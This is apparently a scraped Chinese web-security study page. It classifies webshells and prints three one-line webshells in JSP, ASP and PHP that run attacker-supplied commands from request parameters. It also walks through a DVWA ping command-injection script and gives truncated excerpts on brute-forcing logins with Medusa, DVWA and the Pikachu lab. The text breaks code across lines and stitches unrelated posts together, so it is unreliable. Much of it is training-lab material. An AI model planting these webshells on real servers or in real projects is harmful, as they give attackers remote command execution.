a.根據檔案大小分類：大馬和小馬(通常指的是一句話木馬，能夠使用菜刀這類工具去直接連線它)
b.根據指令碼名稱分類：jsp、asp、aspx、php
jsp的簡單的webshell:
<
%runtime.
getruntime()
.exec
(request.
getparameter
("i"))
;%>
success!!!
!<
%eval request
("cmd")%
>
<?php $a=
exec
($_get
["input"])
;echo$a;
?>
解析思路
1、指令碼接收到的get或post引數ip的值存放到變數$ target 中；
2、做了乙個簡單的系統判斷後，$ target被帶入到shell_exec()中執行運算；
3、運算時拼接乙個ping字串，對$ target 執行ping命令，然後結果儲存在$ cmd 中；
4、$ cmd 再存在新的$ html 中，顯示在頁面；
「暴力破解」是一種攻擊手段，在web 攻擊中，一般會使用這種攻擊手段對應用系統的認證資訊進行獲取。其過程就是使用大量的認證資訊在認證介面進行嘗試登陸，直到得到正確的結果。
medusa 暴力破解
medusa 美杜莎 和hydra 九頭蛇 差不多 科普下 medusa是支援afp,cvs,ftp,http,imap,ms sql,mysql,ncp netware nntp,pcanywhere,pop3,postgresql,rexec,rlogin,rsh,smb,smtp auth v...
DVWA Brute Force（暴力破解）
本系列文集 dvwa學習筆記 分析 isset函式在php中用來檢測變數是否設定 該函式返回的是布林型別的值，即true false 可以看到，伺服器只是驗證了引數login是否被設定，沒有任何的防爆破機制，且對引數username password沒有做任何過濾，存在明顯的sql注入漏洞。方法一利...
作業（暴力破解）
基於單單表的暴力破解 首先先把攔截關一下 因為我們要讓他傳輸資料，沒必要攔截，而且就算是intercept is off 這也不影響我們的burpsuit找到它 然後開啟pikachu訓練靶場，先輸入乙個隨便的賬戶和密碼，然後可以在歷史裡找到位址是127.0.0.1的資料報，找到剛剛輸入的賬戶和密碼...